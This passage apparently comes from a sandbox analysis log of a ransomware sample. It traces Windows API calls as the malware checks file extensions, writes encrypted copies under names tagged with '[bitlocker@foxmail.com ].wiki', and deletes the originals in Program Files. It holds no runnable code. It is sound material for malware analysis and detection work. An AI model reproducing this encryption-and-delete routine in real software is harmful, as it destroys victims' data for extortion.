returned -1 [0049.998] lstrcmpiW (lpString1=".XSL", lpString2=".wiki") returned 1 [0049.998] lstrlenW (lpString="BASMLA.XSL") returned 10 [0049.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.998] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=227311) returned 1 [0049.998] CloseHandle (hObject=0x20c) returned 1 [0049.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0049.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.998] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.999] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.999] GetLastError () returned 0x0 [0049.999] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0050.417] WriteFile (in: hFile=0x210, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0050.421] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.422] WriteFile (in: hFile=0x210, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0050.422] SetEndOfFile (hFile=0x210) returned 1 [0050.422] CloseHandle (hObject=0x210) returned 1 [0050.424] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.424] SetEndOfFile (hFile=0x20c) returned 1 [0050.426] CloseHandle (hObject=0x20c) returned 1 [0050.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.427] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0050.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.427] lstrlenW (lpString=".doc") returned 4 [0050.427] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0050.427] lstrlenW (lpString=".docx") returned 5 [0050.427] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0050.427] lstrlenW (lpString=".pdf") returned 4 [0050.427] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0050.427] lstrlenW (lpString=".xls") returned 4 [0050.427] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0050.427] lstrlenW (lpString=".xlsx") returned 5 [0050.427] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0050.428] lstrlenW (lpString=".ppt") returned 4 [0050.428] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.428] lstrlenW (lpString=".zip") returned 4 [0050.428] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0050.428] lstrlenW (lpString=".rar") returned 4 [0050.428] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString=".bz2") returned 4 [0050.428] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString=".7z") returned 3 [0050.428] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0050.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.428] lstrlenW (lpString=".dbf") returned 4 [0050.428] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.428] lstrlenW (lpString=".1cd") returned 4 [0050.428] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.428] lstrlenW (lpString=".jpg") returned 4 [0050.428] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.428] lstrlenW (lpString=".doc") returned 4 [0050.428] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString=".docx") returned 5 [0050.428] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0050.428] lstrlenW (lpString=".pdf") returned 4 [0050.428] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString=".xls") returned 4 [0050.428] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0050.428] lstrlenW (lpString=".xlsx") returned 5 [0050.428] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0050.428] lstrlenW (lpString=".ppt") returned 4 [0050.428] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0050.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.429] lstrlenW (lpString=".zip") returned 4 [0050.429] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0050.429] lstrlenW (lpString=".rar") returned 4 [0050.429] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0050.429] lstrlenW (lpString=".bz2") returned 4 [0050.429] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0050.429] lstrlenW (lpString=".7z") returned 3 [0050.429] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0050.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.429] lstrlenW (lpString=".dbf") returned 4 [0050.429] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0050.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.429] lstrlenW (lpString=".1cd") returned 4 [0050.429] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0050.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0050.429] lstrlenW (lpString=".jpg") returned 4 [0050.429] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0050.429] lstrcmpiW (lpString1=".jpg", lpString2=".wiki") returned -1 [0050.429] lstrlenW (lpString="Bears.jpg") returned 9 [0050.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.092] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1074) returned 1 [0051.092] CloseHandle (hObject=0x1dc) returned 1 [0051.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0051.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.093] lstrlenW (lpString=".doc") returned 4 [0051.093] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0051.093] lstrlenW (lpString=".docx") returned 5 [0051.093] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0051.093] lstrlenW (lpString=".pdf") returned 4 [0051.093] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0051.093] lstrlenW (lpString=".xls") returned 4 [0051.093] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0051.093] lstrlenW (lpString=".xlsx") returned 5 [0051.093] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0051.093] lstrlenW (lpString=".ppt") returned 4 [0051.093] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.093] lstrlenW (lpString=".zip") returned 4 [0051.093] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0051.093] lstrlenW (lpString=".rar") returned 4 [0051.093] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0051.093] lstrlenW (lpString=".bz2") returned 4 [0051.093] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0051.093] lstrlenW (lpString=".7z") returned 3 [0051.093] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.093] lstrlenW (lpString=".dbf") returned 4 [0051.093] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.093] lstrlenW (lpString=".1cd") returned 4 [0051.093] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.093] lstrlenW (lpString=".jpg") returned 4 [0051.093] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.093] lstrlenW (lpString=".doc") returned 4 [0051.094] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0051.094] lstrlenW (lpString=".docx") returned 5 [0051.094] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0051.094] lstrlenW (lpString=".pdf") returned 4 [0051.094] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0051.094] lstrlenW (lpString=".xls") returned 4 [0051.094] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0051.094] lstrlenW (lpString=".xlsx") returned 5 [0051.094] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0051.094] lstrlenW (lpString=".ppt") returned 4 [0051.094] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0051.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.094] lstrlenW (lpString=".zip") returned 4 [0051.094] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0051.094] lstrlenW (lpString=".rar") returned 4 [0051.094] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0051.094] lstrlenW (lpString=".bz2") returned 4 [0051.094] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0051.094] lstrlenW (lpString=".7z") returned 3 [0051.094] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0051.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.094] lstrlenW (lpString=".dbf") returned 4 [0051.094] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0051.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.094] lstrlenW (lpString=".1cd") returned 4 [0051.094] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0051.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0051.094] lstrlenW (lpString=".jpg") returned 4 [0051.094] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0051.094] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.094] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.347] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=33009) returned 1 [0051.347] CloseHandle (hObject=0x1f0) returned 1 [0051.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0051.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.347] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.347] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.348] GetLastError () returned 0x0 [0051.348] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0051.524] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0051.525] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.525] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.525] SetEndOfFile (hFile=0x1e8) returned 1 [0051.525] CloseHandle (hObject=0x1e8) returned 1 [0051.526] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.526] SetEndOfFile (hFile=0x1f0) returned 1 [0051.527] CloseHandle (hObject=0x1f0) returned 1 [0051.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.528] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0051.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.528] lstrlenW (lpString=".doc") returned 4 [0051.528] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.528] lstrlenW (lpString=".docx") returned 5 [0051.528] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.528] lstrlenW (lpString=".pdf") returned 4 [0051.528] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.528] lstrlenW (lpString=".xls") returned 4 [0051.528] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.528] lstrlenW (lpString=".xlsx") returned 5 [0051.528] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.528] lstrlenW (lpString=".ppt") returned 4 [0051.528] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.528] lstrlenW (lpString=".zip") returned 4 [0051.528] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.528] lstrlenW (lpString=".rar") returned 4 [0051.528] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.528] lstrlenW (lpString=".bz2") returned 4 [0051.528] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.528] lstrlenW (lpString=".7z") returned 3 [0051.528] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.529] lstrlenW (lpString=".dbf") returned 4 [0051.529] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.529] lstrlenW (lpString=".1cd") returned 4 [0051.529] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.529] lstrlenW (lpString=".jpg") returned 4 [0051.529] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.529] lstrlenW (lpString=".doc") returned 4 [0051.529] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.529] lstrlenW (lpString=".docx") returned 5 [0051.529] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.529] lstrlenW (lpString=".pdf") returned 4 [0051.529] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.529] lstrlenW (lpString=".xls") returned 4 [0051.529] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.529] lstrlenW (lpString=".xlsx") returned 5 [0051.529] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.529] lstrlenW (lpString=".ppt") returned 4 [0051.529] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.529] lstrlenW (lpString=".zip") returned 4 [0051.529] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.529] lstrlenW (lpString=".rar") returned 4 [0051.529] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.529] lstrlenW (lpString=".bz2") returned 4 [0051.529] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.529] lstrlenW (lpString=".7z") returned 3 [0051.529] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.529] lstrlenW (lpString=".dbf") returned 4 [0051.529] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.529] lstrlenW (lpString=".1cd") returned 4 [0051.530] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0051.530] lstrlenW (lpString=".jpg") returned 4 [0051.530] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.530] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.530] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.531] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=31837) returned 1 [0051.531] CloseHandle (hObject=0x1f0) returned 1 [0051.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0051.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.531] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.531] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.531] GetLastError () returned 0x0 [0051.532] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0051.535] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, 